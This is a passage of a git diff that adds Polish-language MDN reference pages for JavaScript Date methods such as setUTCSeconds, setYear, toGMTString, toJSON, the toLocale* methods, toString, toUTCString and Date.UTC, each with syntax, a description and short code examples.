<li>{{jsxref("Date.prototype.getUTCMonth()")}}</li> + <li>{{jsxref("Date.prototype.setMonth()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setutcseconds/index.html b/files/pl/web/javascript/referencje/obiekty/date/setutcseconds/index.html new file mode 100644 index 0000000000..8e8d003b67 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setutcseconds/index.html @@ -0,0 +1,52 @@ +--- +title: Date.prototype.setUTCSeconds() +slug: Web/JavaScript/Referencje/Obiekty/Date/setUTCSeconds +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia sekundy dla określonej daty stosownie do czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setUTCSeconds(<var>secondsValue</var>[, <var>msValue</var>])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>secondsValue</code> </dt> + <dd>Liczba całkowita pomiędzy 0 a 59.</dd> +</dl> + +<dl> + <dt><code>msValue</code> </dt> + <dd>Liczba pomiędzy 0 a 999, reprezentująca milisekundy.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli nie określisz parametru <code>msValue</code>, wartość zwracana jest z użytej metody {jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.</p> + +<p>Jeśli Twój parametr jest określony z poza szeregu, <code>setUTCSeconds()</code> próbuje zaktualizować informacje o dacie w obiekcie {{jsxref("Date")}}. Na przykład, jeśli użyjesz wartości 100 dla <code>secondsValue</code>, minuty zawarte w obiekcie {{jsxref("Date")}} będą wzrastać o 1 i wartość 40 będzie użyta dla sekund.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setUTCSeconds" name="Przyk.C5.82ad:_Zastosowanie_setUTCSeconds">Przykład: Zastosowanie <code>setUTCSeconds()</code></h3> + +<pre class="brush: js">var theBigDay = new Date(); +theBigDay.setUTCSeconds(20); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li> + <li>{{jsxref("Date.prototype.setSeconds()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/setyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/setyear/index.html new file mode 100644 index 0000000000..ac89b296c7 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/setyear/index.html @@ -0,0 +1,52 @@ +--- +title: Date.prototype.setYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/setYear +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/setYear +--- +<p>{{jSRef}}{{ Deprecated_header() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Ustawia rok dla określonej daty stosownie do czasu lokalnego. Aby móc korzystać z roczników przed i po roku 2000, powinieneś użyć metody {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}} zawierającej <code>setYear()</code>, która rok potrafi określić w pełni.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.setYear(<var>yearValue</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>yearValue</code> </dt> + <dd>Liczba całkowita.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli <code>yearValue</code> jest liczbą pomiędzy 0 a 99 (inclusive), to rok dla <code>dateObjectName</code> jest ustawiany - 1900 + <code>yearValue</code>. W innym przypadku, rok dla <code>dateObjectName</code> jest ustawiany w postaci wyświetlenia <code>yearValue</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_setYear" name="Przyk.C5.82ad:_Zastosowanie_setYear">Przykład: Zastosowanie <code>setYear()</code></h3> + +<p>Dwie pierwsze linie ustawiają rok w dacie na 1996. Trzecia ustawia rok na 2000.</p> + +<pre class="brush: js">var theBigDay = new Date(); + +theBigDay.setYear(96) +theBigDay.setYear(1996) +theBigDay.setYear(2000) +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getFullYear()")}}</li> + <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li> + <li>{{jsxref("Date.prototype.setFullYear()")}}</li> + <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/togmtstring/index.html b/files/pl/web/javascript/referencje/obiekty/date/togmtstring/index.html new file mode 100644 index 0000000000..2b4c296723 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/togmtstring/index.html @@ -0,0 +1,44 @@ +--- +title: Date.prototype.toGMTString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toGMTString +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toGMTString +--- +<p>{{JSRef}}{{ Deprecated_header() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Konwertuje datę na łańcuch znaków używając konwersji czasu GMT. Dokładny format zwracanych wartości <code>toGMTString()</code> różni się w zależności platformy.</p> + +<div class="note"> +<p>Metoda <code>toGMTString</code> jest nie długo używana i została ona zastąpiona metodą {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}}. Powinieneś używać {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}} zamiast <code>toGMTSTring</code>().</p> +</div> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.toGMTString()</code></pre> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_toGMTString" name="Przyk.C5.82ad:_Zastosowanie_toGMTString">Przykład: Zastosowanie <code>toGMTString()</code></h3> + +<p>W następującym przykładzie jest dzisiejsza data obiektu <code>Date</code>:</p> + +<pre class="brush: js">var today = new Date(); +var str = today.toGMTString(); + +console.log(str); // Mon, 18 Dec 1995 17:28:35 GMT</pre> + +<p>W tym przykładzie metoda <code>toGMTString</code> konwertuje datę w czasie GMT (UTC) używanego przez system operacyjny w odpowiedniej strefie czasowej i zwraca wartość łańcucha znaków, która jest podobna do następującej formy. Format jest w pełni zależny od platformy.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li> + <li>{{jsxref("Date.prototype.toTimeString()")}}</li> + <li>{{jsxref("Date.prototype.toUTCString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/tojson/index.html b/files/pl/web/javascript/referencje/obiekty/date/tojson/index.html new file mode 100644 index 0000000000..2509e99319 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/tojson/index.html @@ -0,0 +1,70 @@ +--- +title: Date.prototype.toJSON() +slug: Web/JavaScript/Referencje/Obiekty/Date/toJSON +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toJSON +--- +<div>{{JSRef}}</div> + +<div>Zwraca objekt {{jsxref("Date")}} w postaci tekstu.</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.toJSON()</code> +</pre> + +<h2 id="Opis">Opis</h2> + +<p><code>toJSON()</code> zwraca ciąg znaków (using {{jsxref("Date.prototype.toISOString()", "toISOString()")}}) reprezentujący wartość obiektu {{jsxref("Date")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_toJSON()">Użycie <code>toJSON()</code></h3> + +<pre class="brush:js">var jsonDate = (new Date()).toJSON(); +var backToDate = new Date(jsonDate); + +console.log(jsonDate); //2015-10-26T07:46:36.611Z +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.9.5.44', 'Date.prototype.toJSON')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Początkowa definicja zaimplementowana w JavaScript 1.8.5.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("javascript.builtins.Date.toJSON")}}</p> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li> + <li>{{jsxref("Date.prototype.toTimeString()")}}</li> + <li>{{jsxref("Date.prototype.toUTCString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/tolocaledatestring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tolocaledatestring/index.html new file mode 100644 index 0000000000..c3b4b44198 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/tolocaledatestring/index.html @@ -0,0 +1,55 @@ +--- +title: Date.prototype.toLocaleDateString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleDateString +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca "date", porcje daty jako łańcuch znaków, używając aktualnych lokalnych konwersji.</p> + +<p>Metoda <code>toLocaleDateString</code> polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (04/15/98), gdzie w Niemczech data wyświetla miesiąc po dniu (15.04.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, <code>toLocaleDateString</code> zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. <code>toLocaleDateString</code> postępuje podobnie do <code>toString</code>, kiedy konwertuje rok, który system operacyjny ma w niewłaściwym formacie.</p> + +<p>Metody takie jak <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getHours">getHours</a></code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getMinutes">getMinutes</a></code> i <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getSeconds">getSeconds</a></code> dają więcej przenośnych rezultatów niż <code>toLocaleDateString</code>.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleDateString([<var>locales</var> [, <var>options</var>]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Check the {{anch("Browser compatibility")}} section to see which browsers support the <code>locales</code> and <code>options</code> arguments, and the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleDateString$edit#Example:_Checking_for_support_for_locales_and_options_arguments">Example: Checking for support for <code>locales</code> and <code>options</code> arguments</a> for feature detection.</p> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}</div> + +<p>The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the <code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code> properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then <code>year</code>, <code>month</code>, and <code>day</code> are assumed to be <code>"numeric"</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_toLocaleDateString" name="Przyk.C5.82ad:_Zastosowanie_toLocaleDateString">Przykład: Zastosowanie <code>toLocaleDateString()</code></h3> + +<p>Następujący przykład <code>today</code> jest obiektem <code>Date</code>:</p> + +<pre class="brush: js">var today = new Date(95,11,18,17,28,35) //miesiąc jest reprezentowany przez liczby od 0 do 11 +today.toLocaleDateString() +</pre> + +<p>W tym przykładzie, <code>toLocaleDateString</code> zwraca łańcuch znakowy, który jest podobny do poniższej formy. Dokładny format, jaki znajduje się na platformie.</p> + +<pre>12/18/95 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li> + <li>{{jsxref("Date.prototype.toLocaleString()")}}</li> + <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li> + <li>{{jsxref("Date.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tolocalestring/index.html new file mode 100644 index 0000000000..60cb1c2853 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/tolocalestring/index.html @@ -0,0 +1,51 @@ +--- +title: Date.prototype.toLocaleString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleString +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleString +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Konwertuje datę na łańcuch znakowy, używając aktualnej lokalnej konwersji.</p> + +<p>Metoda <code>toLocaleString</code> polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (<b>04</b>/15/98), gdzie w Niemczech data wyświetla miesiąc, zaraz po dniu (15.<b>04</b>.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, <code>toLocaleString</code> zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. <code>toLocaleString</code> postępuje podobnie do <code>toString</code>, kiedy konwertuje rok, który system operacyjny ma w niewłaściwym formacie.</p> + +<p>Metody, takie jak <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getHours">getHours</a></code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getMinutes">getMinutes</a></code> i <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getSeconds">getSeconds</a></code> dają więcej przenośnych rezultatów niż <code>toLocaleString</code></p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleString([<var>locales</var>[, <var>options</var>]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Check the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleString$edit#Browser_Compatibility">Browser compatibility</a> section to see which browsers support the <code>locales</code> and <code>options</code> arguments, and the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleString$edit#Example:_Checking_for_support_for_locales_and_options_arguments">Example: Checking for support for <code>locales</code> and <code>options</code> arguments</a> for feature detection.</p> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}</div> + +<p>The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the <code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code>, <code>hour</code>, <code>minute</code>, <code>second</code> properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then <code>year</code>, <code>month</code>, <code>day</code>, <code>hour</code>, <code>minute</code>, and <code>second</code> are assumed to be <code>"numeric"</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Zastosowanie_toLocaleString" name="Zastosowanie_toLocaleString">Zastosowanie <code>toLocaleString()</code></h3> + +<p>W następującym przykładzie, obiekt <code>today</code> jest <code>Date</code>:</p> + +<pre class="brush: js">var today = new Date(95,11,18,17,28,35); //miesiące są reprezentowane poprzez liczby od 0 do 11 +today.toLocaleString(); // 12/18/95 17:28:35</pre> + +<p>W tym przykładzie, <code>toLocaleString</code> zwraca łańcuch znaków, który jest podobny do następującej formy. Dokładnie to taki format, jaki jest w systemie.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li> + <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li> + <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li> + <li>{{jsxref("Date.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/tolocaletimestring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tolocaletimestring/index.html new file mode 100644 index 0000000000..e41dce512d --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/tolocaletimestring/index.html @@ -0,0 +1,52 @@ +--- +title: Date.prototype.toLocaleTimeString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca "czas", porcje daty jako łańcuch znaków, używając aktualnych lokalnych konwersji.</p> + +<p>Metoda <code>toLocaleTimeString</code> polega na znalezieniu formatu daty w systemie operacyjnym. Konwertuje datę do łańcucha znakowego używając konwencji formatowania systemu operacyjnego, gdzie skrypt jest uruchomiony. Na przykład, w USA, miesiąc pojawia się przed dniem (04/15/98), gdzie w Niemczech data wyświetla miesiąc po dniu (15.04.98). Jeśli system operacyjny nie używa, nie spełnia roku 2000 i nie używa pełnego roku dla lat przed 1900 lub po 2000, <code>toLocaleTimeString</code> zwraca łańcuch znakowy, który nie jest uległy wobec roku 2000. <code>toLocaleTimeString</code> postępuje podobnie do <code>toString</code>, kiedy konwertuje rok, który system operacyjny ma w nie właściwym formacie.</p> + +<p>Metody takie jak <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getHours">getHours</a></code>, <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getMinutes">getMinutes</a></code> i <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date/getSeconds">getSeconds</a></code> dają więcej podobnych rezultatów niż <code>toLocaleTimeString</code>.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleTimeString([<var>locales</var>[, <var>options</var>]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Check the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString$edit#Browser_Compatibility">Browser compatibility</a> section to see which browsers support the <code>locales</code> and <code>options</code> arguments, and the <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Date/toLocaleTimeString$edit#Example:_Checking_for_support_for_locales_and_options_arguments">Example: Checking for support for <code>locales</code> and <code>options</code> arguments</a> for feature detection.</p> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}</div> + +<p>The default value for each date-time component property is {{jsxref("Global_Objects/undefined", "undefined")}}, but if the <code>hour</code>, <code>minute</code>, <code>second</code> properties are all {{jsxref("Global_Objects/undefined", "undefined")}}, then <code>hour</code>, <code>minute</code>, and <code>second</code> are assumed to be <code>"numeric"</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h4 id="Zastosowanie_toLocaleTimeString" name="Zastosowanie_toLocaleTimeString">Zastosowanie <code>toLocaleTimeString()</code></h4> + +<p>W następującym przykładzie, <code>today</code> jest obiektem <code>Date</code> object:</p> + +<pre class="brush: js">var today = new Date(95,11,18,17,28,35); //miesiące są reprezentowane przez liczby od 0 do 11 +today.toLocaleTimeString(); // 17:28:35</pre> + +<p>W tym przykładzie, <code>toLocaleTimeString</code> zwraca wartość łańcucha znakowego, która jest podobna do następującej formy. Dokładny format, jaki znajduje się na platformie.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li> + <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li> + <li>{{jsxref("Date.prototype.toLocaleString()")}}</li> + <li>{{jsxref("Date.prototype.toTimeString()")}}</li> + <li>{{jsxref("Date.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/date/tosource/index.html new file mode 100644 index 0000000000..8c82e39b09 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/tosource/index.html @@ -0,0 +1,49 @@ +--- +title: Date.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/Date/toSource +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toSource +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.toSource() +Date.toSource()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h3 id="Opis" name="Opis">Opis</h3> + +<p>Metoda <code>toSource()</code> zwraca następującą wartość:</p> + +<ul> + <li>Dla wewnętrznej budowy obiekt {{jsxref("Date")}}, <code>toSource()</code> zwraca następujący łańcuch znaków sygnalizując, który kod źródłowy jest nieosiągalny:</li> +</ul> + +<pre class="brush: js">function Date() { + [native code] +} +</pre> + +<ul> + <li>Dla instancji {{jsxref("Date")}}, <code>toSource()</code> zwraca łańcuch znaków reprezentujący kod źródłowy.</li> +</ul> + +<p>Ta metoda jest często nazywana wewnętrzną metodą JavaScript i jest nie wyraźna w kodzie.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toSource()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/date/tostring/index.html new file mode 100644 index 0000000000..7d2ea5d92c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/tostring/index.html @@ -0,0 +1,49 @@ +--- +title: Date.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toString +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toString +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków, reprezentujący określony obiekt <code>Date</code>.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.toString()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Obiekt {{jsxref("Date")}} przesłania metodę <code>toString</code> z obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref("Date")}}, metoda <code>toString()</code> zwraca łańcuch znaków, które reprezentują obiekt.</p> + +<p>JavaScript wywołuje metodę <code>toString()</code> automatycznie wtedy, gdy data jest reprezentowana jako wartość tekstowa lub kieruje powiązanym łańcuchem znaków.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_toString" name="Przyk.C5.82ad:_Zastosowanie_toString">Przykład: Zastosowanie <code>toString()</code></h3> + +<p>Następujący przykład przydziela <code>toString</code> wartość obiektu <code>Date</code> do <code>myVar</code>:</p> + +<pre class="brush: js">var x = new Date(); +myVar=x.toString(); //przydziela wartość myVar, podobnie do: +// Mon Sep 28 14:36:22 GMT-0700 (Pacific Daylight Time) 1998 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toString()")}}</li> + <li>{{jsxref("Date.prototype.toDateString()")}}</li> + <li>{{jsxref("Date.prototype.toLocaleString()")}}</li> + <li>{{jsxref("Date.prototype.toTimeString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/toutcstring/index.html b/files/pl/web/javascript/referencje/obiekty/date/toutcstring/index.html new file mode 100644 index 0000000000..529b9bf434 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/toutcstring/index.html @@ -0,0 +1,43 @@ +--- +title: Date.prototype.toUTCString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toUTCString +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Konwertuje datę na łańcuch znaków, używając do konwersji czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.toUTCString()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>toUTCString()</code> jest sformatowanym i tylko do odczytu łańcuchem znaków, stosowanym do konwersji UTC. Wartość zwracanego formatu może być określona stosownie do platformy.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_toUTCString" name="Przyk.C5.82ad:_Zastosowanie_toUTCString">Przykład: Zastosowanie <code>toUTCString()</code></h3> + +<pre class="brush: js language-js">var today = new Date(); +var UTCstring = today.toUTCString(); +<code class="language-js"><span class="token comment">// Mon, 03 Jul 2006 21:44:38 GMT</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.toLocaleString()")}}</li> + <li>{{jsxref("Date.prototype.toDateString()")}}</li> + <li>{{jsxref("Date.prototype.toISOString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/utc/index.html b/files/pl/web/javascript/referencje/obiekty/date/utc/index.html new file mode 100644 index 0000000000..0bc3a38e6c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/utc/index.html @@ -0,0 +1,69 @@ +--- +title: Date.UTC() +slug: Web/JavaScript/Referencje/Obiekty/Date/UTC +tags: + - Date + - JavaScript + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Akceptuje te same parametry co najdłuższa forma konstruktora i zwraca liczbę milisekund w obiekcie {{jsxref("Date")}}, które upłynęły od 1 stycznia, 1970, 00:00:00, czasu uniwersalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Date.UTC(<em>rok</em>,<em> miesiąc</em>[,<em> dzień</em>[,<em> godz</em>[,<em> min</em>[,<em> sek</em>[, ms]]]]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>rok</code> </dt> + <dd>Rok po 1900.</dd> + <dt><code>miesiąc</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 11 reprezentująca miesiąc.</dd> + <dt><code>dzień</code> </dt> + <dd>Liczba całkowita pomiędzy 1 i 31 reprezentująca dzień miesiąca.</dd> + <dt><code>godz</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 23 reprezentująca 